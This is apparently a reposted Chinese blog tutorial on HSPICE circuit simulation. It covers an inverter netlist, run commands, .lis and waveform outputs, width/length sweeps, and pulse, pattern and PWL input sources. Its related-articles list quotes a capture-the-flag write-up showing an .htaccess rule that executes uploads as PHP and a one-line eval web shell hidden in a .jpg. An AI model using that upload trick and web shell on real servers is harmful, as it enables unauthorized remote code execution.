【HSPICE仿真】实战练习(1)基础仿真分析

news2025/1/10 10:45:33

仿真实战

  • 1. 反相器直流仿真
    • 1.1 输入文件
    • 2.2 执行仿真
    • 3.3 仿真输出控制
      • .lis 文件内容
      • 波形文件
    • 3.4 修改输出配置
  • 2. 反相器瞬态分析
    • 使用不同宽长比进行仿真
  • 3. 几种不同输入源的比较
    • Pulse Source
    • Pattern Source
    • PWL Source

1. 反相器直流仿真

1.1 输入文件

仿真所用电路图:

在这里插入图片描述

输入网表文件:

Inverter Circuit
.OPTION POST
.DC VIN 0 5 0.1
.PRINT DC V(IN) V(OUT)
M1 OUT IN VCC VCC PCH L=1U W=20U
M2 OUT IN 0 0 NCH L=1U W=20U
VCC VCC 0 5
VIN IN 0 0 PULSE .2 4.8 2N 1N 1N 5N 20N
CLOAD OUT 0 .75P
.MODEL PCH PMOS LEVEL=1
.MODEL NCH NMOS LEVEL=1
.END

2.2 执行仿真

执行仿真的命令有很多,这个简单介绍两个:

hspice -i quick.sp -o quick.lis &

这个命令的作用是一样的,执行的时候,终端不会输出内容,仿真结束之后,会有如下提示:

在这里插入图片描述
如果是使用如下命令启动仿真:

hspice quickDC.sp

这个时候,不会产生 .lis 文件,但是,终端会显示内容,显示的就是 .lis文件中的内容。

下面这个命令就是在上面哪个命令加一个重定向,终端不会输出任何内容,但是可以得到 .list 文件。

hspice quickDC.sp > quickDC.lis &

3.3 仿真输出控制

可以看到,生成了三个文件。
在这里插入图片描述

其中 .st0是输出状态文件,和仿真结果无关,.sw0就是使用option post得到的仿真波形结果。

.lis 文件内容

一开始是一些基本信息:
在这里插入图片描述

然后是器件参数信息

在这里插入图片描述
在这里插入图片描述

和执行仿真相关的信息:

在这里插入图片描述

使用.print语句输出到该文件中的数据:

在这里插入图片描述
在这里插入图片描述

最后是一些统计分析的信息

在这里插入图片描述

在这里插入图片描述

波形文件

波形文件quickDC.sw0option post命令生成的,使用WaveView打开之后如下所示:

在这里插入图片描述

这里我们可以选择电路中所有的节点进行观察,也就是说HSPICE工具保存了所有的仿真数据。

3.4 修改输出配置

对输入网表文件的输出控制部分增加一些内容,如下所示:

.option POST NODE LIST PROBE

此时,输出文件的变化

① 输出波形文件

可以看到,这里只能选择 .print 语句中描述的语句,这是.option probe在发挥作用。
在这里插入图片描述

② 输出列表文件中,增加了如下内容。

所有的元件(elements)信息,这是.option list在发挥作用。

在这里插入图片描述
在这里插入图片描述

所有节点的连接信息,这是.option node在发挥作用。

在这里插入图片描述

2. 反相器瞬态分析

输入网表文件:

在这里插入图片描述

直流工作点计算结果(.ic0文件):

在这里插入图片描述

仿真得到的波形文件(.tr0):

在这里插入图片描述

这个时候我们发现,反相器的上升延时和下降延时差距很大,这是因为我们把 PMOS 和 NMOS 的宽长比设置的一样了。

为了分析不同的宽长比对电路产生的影响,我们可以对该参数进行扫描分析。

使用不同宽长比进行仿真

第一个思路是.alter语句,如下:

在这里插入图片描述

这个时候会执行三次仿真,得到三个直流工作点计算结果和三个输出文件:

在这里插入图片描述

当然啊,我们可以使用WaveView打开这三个文件,然后把他们放在一起进行比较,得到的波形如下:

在这里插入图片描述

第二个思路是使用sweep,如下所示:

在这里插入图片描述

这个时候我们只得到一个输出波形文件,打开之后如下所示:

在这里插入图片描述

显然第二种方法更方便一些。

3. 几种不同输入源的比较

这里就主要考虑脉冲源、向量源和 PWL 源,主要是和数字电路相关的输入波形确定。

Pulse Source

定义文件:

在这里插入图片描述

波形文件:

在这里插入图片描述

在脉冲波形的定义中,是可以有关于周期的定义的,波形长度会随着仿真时间的增加而增加。

Pattern Source

输入激励定义如下:

在这里插入图片描述

得到的输入波形如下:
在这里插入图片描述

这里的问题是,输入激励定义了多久就是多久,不会随着仿真时间的增加,自动的进行周期性的重复。

仿真时间超过定义的输入激励事件的部分,输入激励会保持为定义的最后一个值,上例中就保持为1。

PWL Source

激励定义文件:

在这里插入图片描述

波形文件:

在这里插入图片描述

三个波形依次是 v1,v3,v2。

① 如果没有给出 r 关键字,波形是不会重复的,指定了 r 之后,波形就会随仿真施加周期性的重复。

② 如果没有定义 0 时刻的值,那么就是默认为定义的第一个值

③ 分段线性的意思就是,t1时刻的值到 t2 时刻的值是线性变化的,如图中黄线(V3)所示。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/953606.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MATLAB中mod函数转化为C语言

背景 有项目算法使用matlab中mod函数进行运算,这里需要将转化为C语言,从而模拟算法运行,将算法移植到qt。 MATLAB中mod简单介绍 语法 b mod(a,m) 说明 b mod(a,m) 返回 a 除以 m 后的余数,其中 a 是被除数,m 是…

使用ccs中 exclude from build功能,源代码不能去除/恢复到工程里

1、使用ccs免不了将源文件从工程里去除,或者重新添加到工程里,一般使用功能exclude from build,如下示:在.c上有键就可以看到 2、有时候用这个功能时,经常会出现ccs没有反应了,不能正常将源代码去除/恢复到…

.NET Meetup in Shanghai

点击蓝字 关注我们 作为一个开源的开发平台,.NET 在开源领域的探索从未止步。在如今风云变幻的大背景下,.NET 开源都会遇到哪些阻力?是什么让我们继续拥抱开源?我们将如何克服当下开源之路所面临的困难?开源 .NET 又将…

CTFhub-文件上传-.htaccess

首先上传 .htaccess 的文件 .htaccess SetHandler application/x-httpd-php 这段内容的作用是使所有的文件都会被解析为php文件 然后上传1.jpg 的文件 内容为一句话木马 1.jpg <?php echo "PHP Loaded"; eval($_POST[a]); ?> 用蚁剑连接 http://ch…

成都瀚网科技:抖音商家如何报名超值购?

为保护抖音消费者权益、规范商家经营行为&#xff0c;抖音对商城超值购物、招商引资等方面做出了详细规定。我们来看看详细信息&#xff1a; 第一条【宗旨和依据】为了倡导开放、透明、共享、责任的新商业文明&#xff0c;保护抖音商城用户和商户的合法权益&#xff0c;合理利用…

十九、状态模式

一、什么是状态模式 状态&#xff08;State&#xff09;模式的定义&#xff1a;对有状态的对象&#xff0c;把复杂的“判断逻辑”提取到不同的状态对象中&#xff0c;允许状态对象在其内部状态发生改变时改变其行为。 状态模式包含以下主要角色&#xff1a; 环境类&#xff08…

关于浏览器中使用迅雷组件下载文件的问题

目录 前言 场景 问题 解决 前言 在项目开发中肯定会涉及到下载导出功能&#xff0c;对于开发人员来说一般习惯使用谷歌、火狐等其他浏览器进行功能测试&#xff0c;例如谷歌浏览器支持加入扩展程序&#xff0c;扩展程序的位置在&#xff1a;点击右上角三个点>找到设置点开…

Windows和Linux环境中安装Zookeeper具体操作

1.Windows环境中安装Zookeeper 1.1 下载Zookeeper安装包 ZooKeeper官网下载地址 建议下载稳定版本的 下载后进行解压后得到如下文件&#xff1a; 1.2 修改本地配置文件 进入解压后的目录&#xff0c;将zoo_example.cfg复制一份并重命名为zoo.cfg,如图所示&#xff1a; 打…

飞天使-python的面向对象

文章目录 面向对象面向对象思想类的定义和使用继承封装多态访问控制 参考视频 面向对象 面向对象思想 面向过程和面对对象的区别是什么&#xff1f; 答: 复用性高&#xff0c;面向对象类的定义和使用 类型里面的定义的时候 self 不能省去&#xff0c;应该写出 class person:…

uni-app:允许字符间能自动换行(英文字符、数字等)

<template><view class"container"><!-- 这里是你的文本内容 -->{{ multilineText }}</view> </template><style> .container {word-break: break-all; } </style>例如&#xff1a; <template><view class"…

射频牛人教你前端滤波器的制作

前端滤波器的制作分析 在射频前端不加滤波器&#xff0c;接收效果会大打折扣。这个折扣有多大呢&#xff1f;一般的来说在天线良好的情况下距离至少会差2倍。而且&#xff0c;天线地势越高&#xff0c;接收效果越差&#xff01;为什么呢&#xff1f;因为当今的天空充斥着大量各…

抖音视频删了怎么在电脑上找回来

【昨天整理电脑文件时&#xff0c;不小心将剪辑好的抖音作品误删了&#xff0c;但是回收站中找不回来了&#xff0c;这些视频是我花了很多心血制作的&#xff0c;如果没了真的十分可惜&#xff01;希望大家能帮帮我&#xff0c;告诉我应该如何恢复这些文件。】 现在人们都喜欢…

【谷粒商城】开发篇三:微服务组件 SpringCloud SpringCloud Alibaba

谷粒商城微服务应用说明 SpringCloud Alibaba SpringCloud Alibaba 简介 SpringCloud Alibaba 简介 Spring Cloud Alibaba 致力于提供微服务开发的一站式解决方案。此项目包含开发分布式应用微服务的必需组件&#xff0c;方便开发者通过Spring Cloud 编程模型轻松使用这些组件…

MySQL用navicat工具对表进行筛选查找

这个操作其实很简单&#xff0c;但是对于没操作的人来说&#xff0c;就是不会呀。所以小编出这一个详细图解&#xff0c;希望能够帮助到大家。话不多说看图。 第一步&#xff1a; 点进一张表&#xff0c;点击筛选。 第二步&#xff1a; 点击添加 第三步&#xff1a; 选择要…

vConsole调试工具的三种使用方式

1.在html页面时, 在页面引入 cdn 方式引入 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"><meta name"viewport" co…

前端将UTC时间格式转化为本地时间格式-uniapp写法

UTC时间格式是什么 首先我们先简单的了解一下&#xff1a;UTC时间&#xff08;协调世界时&#xff0c;Coordinated Universal Time&#xff09;使用24小时制&#xff0c;以小时、分钟、秒和毫秒来表示时间 HH:mm:ss.SSSHH 表示小时&#xff0c;取值范围为00到23。mm 表示分钟…

Tomcat安装及配置教程-Windows和Linux

本文主要介绍Windows版本Tomcat部署的详细步骤和列出Linux部署的简要细节命令,其中Windows从一到七,Linux用第八个标题讲述 一,安装 1,打开官网,https://tomcat.apache.org/,选择Tomcat 8.5.93版本,点击Download,根据系统版本选择压缩包 2,下载完毕,将压缩包解压,将所有文件放…

Gartner IDC:超融合回归“软件定义”本质,“全栈软件”成为厂商关键能力

近日&#xff0c;IDC 发布了《中国软件定义存储&#xff08;SDS&#xff09;及超融合存储系统&#xff08;HCI&#xff09;市场季度跟踪报告&#xff0c;2023 年第一季度》&#xff08;以下简称“跟踪报告”&#xff09;。不同于以往报告主要关注一体化超融合系统&#xff0c;这…

无涯教程-Android - DatePicker函数

Android Date Picker允许您在自定义用户界面中选择由日,月和年组成的日期。为此功能,android提供了DatePicker和DatePickerDialog组件。 在本教程中,我们将通过DatePickerDialog演示日期选择器的用法, DatePickerDialog是一个包含DatePicker的简单对话框。 为了显示DatePicker…

15、监测数据采集物联网应用开发步骤(11)

源码将于最后一遍文章给出下载 监测数据采集物联网应用开发步骤(10) 程序自动更新开发 前面章节写了部分功能模块开发&#xff1a; 日志或文本文件读写开发;Sqlite3数据库读写操作开发;定时器插件化开发;串口(COM)通讯开发;TCP/IP Client开发;TCP/IP Server 开发;modbus协议…